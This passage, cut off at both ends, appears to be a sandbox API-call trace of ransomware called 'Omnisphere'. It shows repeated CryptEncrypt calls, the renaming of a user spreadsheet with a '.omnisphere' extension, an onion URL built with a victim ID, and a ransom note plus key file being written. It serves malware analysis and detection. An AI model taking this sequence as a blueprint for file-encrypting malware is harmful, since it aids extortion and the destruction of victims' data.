pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.924] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.925] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.926] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.928] CryptDestroyKey (hKey=0x1639728) returned 1 [0068.928] CryptReleaseContext (hProv=0x163b970, dwFlags=0x0) returned 1 [0068.928] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x13abd, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.929] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0068.929] GetProcessHeap () returned 0x1600000 [0068.929] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x27c) returned 0x1658be8 [0068.929] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\t9rbGMSGn.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\t9rbgmsgn.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\t9rbGMSGn.xlsx.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\t9rbgmsgn.xlsx.omnisphere")) returned 1 [0068.929] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\t9rbGMSGn.xlsx.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\t9rbGMSGn.xlsx.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\t9rbGMSGn.xlsx.omnisphere.id" [0068.929] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\t9rbGMSGn.xlsx.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\t9rbgmsgn.xlsx.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0068.930] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0068.930] CloseHandle (hObject=0x3a8) returned 1 [0068.931] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0068.932] CloseHandle (hObject=0x3a4) returned 1 [0068.932] SetEndOfFile (hFile=0x3a0) returned 1 [0068.932] FlushFileBuffers (hFile=0x3a0) returned 1 [0068.938] CloseHandle (hObject=0x3a0) returned 1 [0068.938] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\t9rbGMSGn.xlsx" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0068.938] GetProcessHeap () returned 0x1600000 [0068.938] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x165ec58 [0068.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0068.938] GetProcessHeap () returned 0x1600000 [0068.938] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641a70 [0068.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641a70, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0068.938] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0068.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.938] GetProcessHeap () returned 0x1600000 [0068.938] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f810 [0068.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f810, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0068.938] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0068.938] GetProcessHeap () returned 0x1600000 [0068.938] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163bca0 [0068.939] PathCombineW (in: pszDest=0x163bca0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0068.939] GetProcessHeap () returned 0x1600000 [0068.939] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1659758 [0068.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.939] WriteFile (in: hFile=0x3a0, lpBuffer=0x1659758*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1659758*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0068.939] CloseHandle (hObject=0x3a0) returned 1 [0068.947] GetProcessHeap () returned 0x1600000 [0068.947] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165ec58 | out: hHeap=0x1600000) returned 1 [0068.947] GetProcessHeap () returned 0x1600000 [0068.947] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fb00 [0068.947] PathCombineW (in: pszDest=0x163fb00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0068.947] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.947] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0068.947] CloseHandle (hObject=0x3a0) returned 1 [0068.947] GetProcessHeap () returned 0x1600000 [0068.947] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fb00 | out: hHeap=0x1600000) returned 1 [0068.948] GetProcessHeap () returned 0x1600000 [0068.948] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649e70 | out: hHeap=0x1600000) returned 1 [0068.948] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c5776f0, ftCreationTime.dwHighDateTime=0x1d4cf54, ftLastAccessTime.dwLowDateTime=0x8bbfe3f0, ftLastAccessTime.dwHighDateTime=0x1d4d237, ftLastWriteTime.dwLowDateTime=0x8bbfe3f0, ftLastWriteTime.dwHighDateTime=0x1d4d237, nFileSizeHigh=0x0, 